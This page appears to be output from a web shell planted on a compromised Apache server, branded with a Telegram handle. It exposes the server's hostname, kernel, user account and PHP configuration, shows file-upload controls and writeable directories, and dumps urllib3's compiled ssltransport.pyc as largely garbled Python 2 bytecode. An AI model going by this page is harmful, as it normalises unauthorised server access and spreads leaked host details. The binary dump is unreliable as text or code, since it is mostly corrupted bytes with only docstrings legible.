https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /lib/python2.7/site-packages/urllib3/util/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python2.7/site-packages/urllib3/util/ssltransport.pyc
�
�J�bc@saddlZddlZddlZddlmZddlmZdZddd��YZdS(	i����Ni(tProxySchemeUnsupported(tsixi@tSSLTransportcBs(eZdZed��Zded�Zd�Zd�Z	d�Z
ddd�Zddd	�Zddd
�Z
dd�Zdd�Zd
ddddd�Zd�Zd�Zed�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zdd�Zd�ZRS(sL
    The SSLTransport wraps an existing socket and establishes an SSL connection.

    Contrary to Python's implementation of SSLSocket, it allows you to chain
    multiple TLS connections together. It's particularly useful if you need to
    implement TLS within TLS.

    The class supports most of the socket API operations.
    cCs:t|d�s6tjr'td��q6td��ndS(s�
        Raises a ProxySchemeUnsupported if the provided ssl_context can't be used
        for TLS in TLS.

        The only requirement is that the ssl_context provides the 'wrap_bio'
        methods.
        twrap_biosKTLS in TLS requires SSLContext.wrap_bio() which isn't supported on Python 2sXTLS in TLS requires SSLContext.wrap_bio() which isn't available on non-native SSLContextN(thasattrRtPY2R(tssl_context((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyt$_validate_ssl_context_for_tls_in_tlss
	cCshtj�|_tj�|_||_||_|j|j|jd|�|_|j|jj	�dS(sV
        Create an SSLTransport around socket using the provided ssl_context.
        tserver_hostnameN(
tsslt	MemoryBIOtincomingtoutgoingtsuppress_ragged_eofstsocketRtsslobjt_ssl_io_looptdo_handshake(tselfRRRR
((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyt__init__,s		cCs|S(N((R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyt	__enter__?scGs|j�dS(N(tclose(Rt_((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyt__exit__BscCs
|jj�S(N(Rtfileno(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyREsicCs|j||�S(N(t_wrap_ssl_read(Rtlentbuffer((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pytreadHsicCs(|dkrtd��n|j|�S(Nis+non-zero flags not allowed in calls to recv(t
ValueErrorR(RRtflags((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pytrecvKscCsa|dkrtd��n|r<|dkr<t|�}n|dkrQd}n|j||�S(Nis0non-zero flags not allowed in calls to recv_intoi(RtNoneRR(RRtnbytesR((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyt	recv_intoPs	cCs�|dkrtd��nd}t|��[}|jd��C}t|�}x-||kr}|j||�}||7}qQWWdQXWdQXdS(Nis.non-zero flags not allowed in calls to sendalltB(Rt
memoryviewtcastRtsend(RtdataRtcounttviewt	byte_viewtamounttv((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pytsendallYscCs7|dkrtd��n|j|jj|�}|S(Nis+non-zero flags not allowed in calls to send(RRRtwrite(RR'Rtresponse((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyR&cstrc
Cs�t|�dddhks1td|f��nd|k}d|kpM|}|sb|sbt�d|k}d}	|r�|	d7}	n|r�|	d7}	ntj||	�}
|jjd7_|d
kr�d}n|dkr�tj}n|dkr|std	��n|
S|r4|r4tj	|
|
|�}n9|rOtj
|
|�}n|s[t�tj|
|�}|rw|Stj||||�}||_
|S(s
        Python's httpclient uses makefile and buffered io when reading HTTP
        messages and we need to support it.

        This is unfortunately a copy and paste of socket.py makefile with small
        changes to point to the socket directly.
        R0twtbs&invalid mode %r (only r, w, b allowed)tii����is!unbuffered streams must be binaryN(tsetRtAssertionErrorRtSocketIOt_io_refsR tiotDEFAULT_BUFFER_SIZEtBufferedRWPairtBufferedReadertBufferedWritert
TextIOWrappertmode(
RR>t	bufferingtencodingterrorstnewlinetwritingtreadingtbinarytrawmodetrawRttext((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pytmakefileis@


		cCs|j|jj�dS(N(RRtunwrap(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRJ�scCs|jj�dS(N(RR(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyR�scCs|jj|�S(N(Rtgetpeercert(Rtbinary_form((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRK�scCs
|jj�S(N(Rtversion(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRM�scCs
|jj�S(N(Rtcipher(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRN�scCs
|jj�S(N(Rtselected_alpn_protocol(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRO�scCs
|jj�S(N(Rtselected_npn_protocol(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRP�scCs
|jj�S(N(Rtshared_ciphers(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRQ�scCs
|jj�S(N(Rtcompression(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRR�scCs|jj|�dS(N(Rt
settimeout(Rtvalue((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRS�scCs
|jj�S(N(Rt
gettimeout(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRU�scCs|jj�dS(N(Rt_decref_socketios(R((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRV�scCs\y|j|jj||�SWn8tjk
rW}|jtjkrQ|jrQdS�nXdS(Ni(RRRR	tSSLErrorterrnot
SSL_ERROR_EOFR
(RRRte((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyR�scGs�t}d}x�|r�d}y||�}WnCtjk
rp}|jtjtjfkrd|�n|j}nX|jj�}|j	j
|�|dkr�t}q|tjkr|j	jt
�}|r�|jj|�q�|jj�qqW|S(s>Performs an I/O loop between incoming/outgoing and the socket.N(tTrueR R	RWRXtSSL_ERROR_WANT_READtSSL_ERROR_WANT_WRITERRRR-tFalseRt
SSL_BLOCKSIZERR.t	write_eof(Rtfunctargstshould_looptretRXRZtbuf((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyR�s(		
	N( t__name__t
__module__t__doc__tstaticmethodRR R[RRRRRRR"R-R&RIRJRR^RKRMRNRORPRQRRRSRURVRR(((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyRs4					
,												((	R8RR	t
exceptionsRtpackagesRR_R(((s</tmp/pip-install-spIB81/urllib3/urllib3/util/ssltransport.pyt<module>s

https://t.me/AnonymousX5 - 2025